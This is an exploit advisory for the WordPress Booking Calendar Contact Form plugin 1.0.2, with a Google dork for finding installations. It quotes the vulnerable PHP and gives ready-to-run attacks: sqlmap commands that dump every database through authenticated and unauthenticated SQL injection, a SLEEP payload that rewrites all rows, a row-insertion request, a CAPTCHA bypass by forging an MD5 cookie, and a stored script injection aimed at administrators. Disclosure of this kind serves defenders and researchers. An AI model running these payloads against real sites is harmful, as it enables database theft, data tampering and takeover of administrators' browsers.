1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 |
# Exploit Title: WordPress Booking Calendar Contact Form 1.0.2[Multiple vulnerabilities] # Date: 2015-05-01 # Google Dork: Index of /wordpress/wp-content/plugins/booking-calendar-contact-form/ # Exploit Author: Joaquin Ramirez Martinez [ i0akiN SEC-LABORATORY ] # Software Link: http://wordpress.dwbooster.com/calendars/booking-calendar-contact-form # Vendor: CodePeople.net # Vebdor URI: http://codepeople.net # Version: 1.0.2 # OWASP Top10: A1-Injection # Tested on: windows 7 ultimate + firefox + sqlmap 0.9. ============================================ * Authenticated SQL injection ============================================ ======================== Description ======================== In a site that has installed the plugin vulnerable and an attacker who has an account editor privileges can exploit the flaw SQL injection and possibly escalate their privileges. ======================== Vulnerability ======================== vulnerable function code is located in dex_bcf.php function dex_bccf_load_season_prices() { global $wpdb; if ( ! current_user_can('edit_pages') ) { echo 'No enough privilegies to load this content.'; exit; } if (!defined('CP_BCCF_CALENDAR_ID')) define ('CP_BCCF_CALENDAR_ID',$_GET["dex_item"]); //.....vulnerable line $codes = $wpdb->get_results( 'SELECT * FROM '.$wpdb->prefix.DEX_BCCF_SEASON_PRICES_TABLE_NAME_NO_PREFIX.' WHERE cal_id</code>='.CP_BCCF_CALENDAR_ID); $maxcosts = 0; ... if (count ($codes)) { ... //Print results [bueno para seleccion mediante UNION] foreach ($codes as $value) { echo '<tr>'; $price = explode(';',$value->price); echo '<td>'.$price[0].'</td>'; for ($k=1; $k<=$maxcosts; $k++) echo '<td>'.@$price[$k].'</td>'; echo '<td>'.substr($value->date_from,0,10).'</td>'; echo '<td>'.substr($value->date_to,0,10).'</td>'; echo '<td>[<a href="javascript:dex_delete_season_price('.$value->id.')">Delete</a>]</td>'; echo '</tr>'; } ... } ====================== Injection ====================== the following urls can be used to inject code. ---------------------------------------------------------- http://wp-host/wp-path/wp-admin/?action=dex_bccf_check_posted_data&dex_bccf=loadseasonprices&dex_item=1 ------------------------ GET parameter vulnerable ------------------------ dex_item ======================== injection techniques: ======================== -> UNION BASED -> TIME BASED BLIND ======================= POC ======================= Obtaining all available databases from mysql server with sqlmap. --------------------------------------------------------------- python sqlmap.py --url=" http://wp-host/wp-path/wp-admin/?action=dex_bccf_check_posted_data&dex_bccf=loadseasonprices&dex_item=1 " -p dex_item --level=5 --risk=3 --cookie="PUT_YOUR_WP_EDITOR_COOKIE_HERE" --dbms="mysql" --dbs ==================================================== ===================================================== * Filter bypass & Authenticated SQL injection ===================================================== =============== Vulnerable code ================ function dex_bccf_calendar_delete($ret) { global $wpdb; $wpdb->query( "delete from ".TDE_BCCFCALENDAR_DATA_TABLE." where id=".esc_sql($_POST["id"]) ); return $ret; } ====================== Injection ====================== Following URLs are affected. ---------------------------------------------------------- http://wp-host/wp-path/wp-admin/admin-ajax.php?action=dex_bccf_calendar_ajaxevent&dex_bccf_calendar_load2=delete ------------------------ POST parameter vulnerable ------------------------ id ======================== injection techniques: ======================== -> TIME BASED BLIND ======================= POC ======================= Obtaining all available databases from mysql server with sqlmap. --------------------------------------------------------------- python sqlmap.py --url=" http://localhost/wordpress/wp-admin/admin-ajax.php?action=dex_bccf_calendar_ajaxevent&dex_bccf_calendar_load2=delete " --data="id=1" -p id --level=5 --risk=3 --cookie="PUT_YOUR_WP_EDITOR_COOKIE_HERE" --dbms="mysql" --dbs --technique T ==================================================== * Authenticated SQL injection ==================================================== =============== Vulnerable code ================ function dex_bccf_calendar_update($ret) { global $wpdb; dex_bccf_add_field_verify(TDE_BCCFCALENDAR_DATA_TABLE, "viadmin", "varchar(10) DEFAULT '0' NOT NULL"); dex_bccf_add_field_verify(TDE_BCCFCALENDAR_DATA_TABLE, "color", "varchar(10)"); $wpdb->query("update ".TDE_BCCFCALENDAR_DATA_TABLE." set title='".esc_sql($_POST["title"])."',description='".esc_sql($_POST["description"])."',color='".esc_sql($_POST["color"])."' where id=".esc_sql($_POST["id"]) ); return $ret; } ====================== Injection ====================== Following URLs are affected. ---------------------------------------------------------- http://wp-host/wp-path/wp-admin/admin-ajax.php?action=dex_bccf_calendar_ajaxevent&dex_bccf_calendar_load2=edit ------------------------ POST parameter vulnerable ------------------------ id ======================== injection techniques: ======================== -> BLIND ======================= POC ======================= (modifing all rows with "i0akiN" value and sleeping 5 seconds) url ------- http://wp-host/wp-path/wp-admin/admin-ajax.php?action=dex_bccf_calendar_ajaxevent&dex_bccf_calendar_load2=edit ---------- post data ---------- id=0 or 1=1 AND SLEEP(5) -- - &tile=i0akiN&description=i0akiN&color=i0akiN ===================================================== * Filter bypass & Authenticated SQL injection ===================================================== =============== Vulnerable code ================ function dex_bccf_calendar_add($ret) { global $wpdb; $calid = str_replace(TDE_BCCFCAL_PREFIX, "",@$_GET["id"]); ... $wpdb->query("insert into ".TDE_BCCFCALENDAR_DATA_TABLE."(viadmin,reservation_calendar_id,datatime_s,datatime_e,title,description,color) ". " values(1,".esc_sql($calid).",'".esc_sql($_POST["startdate"])."','".esc_sql($_POST["enddate"])."','".esc_sql($_POST["title"])."','" .esc_sql($_POST["description"])."','".esc_sql($_POST["color"])."')"); .. } ====================== Injection ====================== Following URLs are affected. ---------------------------------------------------------- http://wp-host/wp-path/wp-admin/admin-ajax.php?action=dex_bccf_calendar_ajaxevent&dex_bccf_calendar_load2=add&id=[SQLi] ======================== injection techniques: ======================== -> Insertion data ======================= POC ======================= Insert a row into wp_bccf_reservation_calendars_data table without use other post parameters http://wp-host/wp-path/wp-admin/admin-ajax.php?action=dex_bccf_calendar_ajaxevent&dex_bccf_calendar_load2=add& id=12,0x617373,0x617373,0x617373,0x617373,0x617373); -- - ==================================================== * Unauthenticated SQL injection ==================================================== ======================= Description ======================= An attacker without autorization can send modified requests to database and sensitive information that can use for escalate privilegies and more... ====================== Vulnerability ====================== vulnerable function code is located in dex_bcf.php function dex_bccf_caculate_price($startday, $enddate, $calendar, $default_price) { ... //$calendar is not sanitized in sql query $codes = $wpdb->get_results( 'SELECT * FROM '.$wpdb->prefix.DEX_BCCF_SEASON_PRICES_TABLE_NAME_NO_PREFIX.' WHERE cal_id</code>='.$calendar); $mode = (dex_bccf_get_option('calendar_mode',DEX_BCCF_DEFAULT_CALENDAR_MODE) == 'false'); while ( (($enddate>$startday) && !$mode) || (($enddate>=$startday) && $mode) ) { $daily_price = $default_price; $sprice = array(); foreach ($codes as $value) { $sfrom = strtotime($value->date_from); $sto = strtotime($value->date_to); if ($startday >= $sfrom && $startday <= $sto) { $sprice = explode (';', $value->price); $daily_price = $sprice[0]; } } $season_prices[] = $sprice; $price += $daily_price; $startday = strtotime (date("Y-m-d", $startday)." +1 day"); //60*60*24; $days++; } ... } ====================== Injection ====================== Following URLs are affected. ---------------------------------------------------------- http://wp-host/wp-path/?action=dex_bccf_check_posted_data&dex_bccf=getcost ------------------------ post variable vulnerable ------------------------ dex_item=1 ======================== injection techniques: ======================== -> UNION BASED <- yeaahh!! -> TIME BASED BLIND -> BOOLEAN BASED BLIND ======================== POC ======================== Obtaining all available databases from mysql server with sqlmap. python sqlmap.py --url=" http://localhost/wordpress/?action=dex_bccf_check_posted_data&dex_bccf=getcost " --data="dex_item=1" -p dex_item --level=5 --risk=3 --dbms="mysql" --dbs --tecnique U =========================================================== ============================================================ * Unauthenticated SQL injection 2 ============================================================ ======================== Description ======================== The following function is also vulnerable to SQL injection because usually the variable CP_BCCF_CALENDAR_ID it equals the content of POST ['dex_item'] or GET ['dex_item'] Besides this function is used in several places the code. ======================== Vulnerability ======================== Vulnerable function: function dex_bccf_get_option ($field, $default_value) { global $wpdb, $dex_option_buffered_item, $dex_option_buffered_id; if (!defined("CP_BCCF_CALENDAR_ID")) return$default_value; if ($dex_option_buffered_id == CP_BCCF_CALENDAR_ID) $value = @$dex_option_buffered_item->$field; else { //....vulnerable line $myrows = $wpdb->get_results( "SELECT * FROM ".DEX_BCCF_CONFIG_TABLE_NAME." WHERE id=".CP_BCCF_CALENDAR_ID ); $value = @$myrows[0]->$field; $dex_option_buffered_item = $myrows[0]; $dex_option_buffered_id= CP_BCCF_CALENDAR_ID; } if ($value == '' && $dex_option_buffered_item->calendar_language == '') $value = $default_value; return $value; } ########################################## ====================================== *CAPTCHA BYPASS & ROW INSERTION ====================================== ============== DESCRIPTION ============== An attacker can manipulate some variables for bypass conditional staments. For example: insert unlimited rows into table (could use a program) ============= ... HOW? ============= An attacker encodes parameter GET['hdcaptcha_dex_bccf_post'] to MD5 encryption saving into value of "rand_code" cookie. ========== POC ========== REQUEST ----------- http://localhost/wordpress/wp-admin/admin-ajax.php?action=dex_bccf_check_posted_data&hdcaptcha_dex_bccf_post=1& dex_item=1& http://localhost/wordpress/wp-admin/admin-ajax.php?action=dex_bccf_check_posted_data& hdcaptcha_dex_bccf_post=1&dex_item=1&hdcaptcha_dex_bccf_post=joaquin ^ --------------| POST VARIABLES -------------- hdcaptcha_dex_bccf_post=1 ------- COOKIES ------- rand_code=a6beca7f198112079f836a4e67cf4821<---joaquin MD5 encrypted =========================== VULNERABLE FUNCTION CODE ========================== function dex_bccf_check_posted_data(){ .... if (!isset($_GET['hdcaptcha_dex_bccf_post']) ||$_GET['hdcaptcha_dex_bccf_post'] == '') $_GET['hdcaptcha_dex_bccf_post'] = @$_POST['hdcaptcha_dex_bccf_post']; if ( (dex_bccf_get_option('dexcv_enable_captcha', TDE_BCCFDEFAULT_dexcv_enable_captcha) != 'false') && ( (strtolower($_GET['hdcaptcha_dex_bccf_post']) != strtolower($_SESSION['rand_code'])) || ($_SESSION['rand_code'] == '') ) && ( (md5(strtolower($_GET['hdcaptcha_dex_bccf_post'])) != ($_COOKIE['rand_code'])) || ($_COOKIE['rand_code'] == '') ) ) { $_SESSION['rand_code'] = ''; echo 'captchafailed'; exit; } // if this isn't the real post (it was the captcha verification) then echo ok and exit if ( 'POST' != $_SERVER['REQUEST_METHOD'] || ! isset( $_POST['dex_bccf_post'] ) ) { echo 'ok'; exit; } ... } ########################################### ======================================= *Persistent JS/HTML code injection ======================================= ======================== Description: ======================== Un atacante sin autenticacion puede inyectar codigo malicioso que podria ejecutar el navegador de la victima(could be an administrator). Cuando la victima visite la pagina modificada, el atacante podria robar datos y/o controlar las acciones de la victima de forma remota. ======================== Vulnerability ======================== http://localhost/wordpress/wp-admin/admin-ajax.php?action=dex_bccf_check_posted_data POST-DATA dex_item=2 dex_bccf_post_options=1 email_confirmation_to_user=%3C%2Ftextarea%3E CUSTOM JS/HTML INYECTION %3Ctextarea%3E email_notification_to_admin=%3C%2Ftextarea%3E CUSTOM JS/HTML INYECTION %3Ctextarea%3E Parameters email_confirmation_to_user,email_notification_to_admin not filtered and is included in admin page ==================== VULNERABLE FUNCTION ==================== dex_bccf_save_options() located in dex_bccf.php save unfiltered post data ######################################### |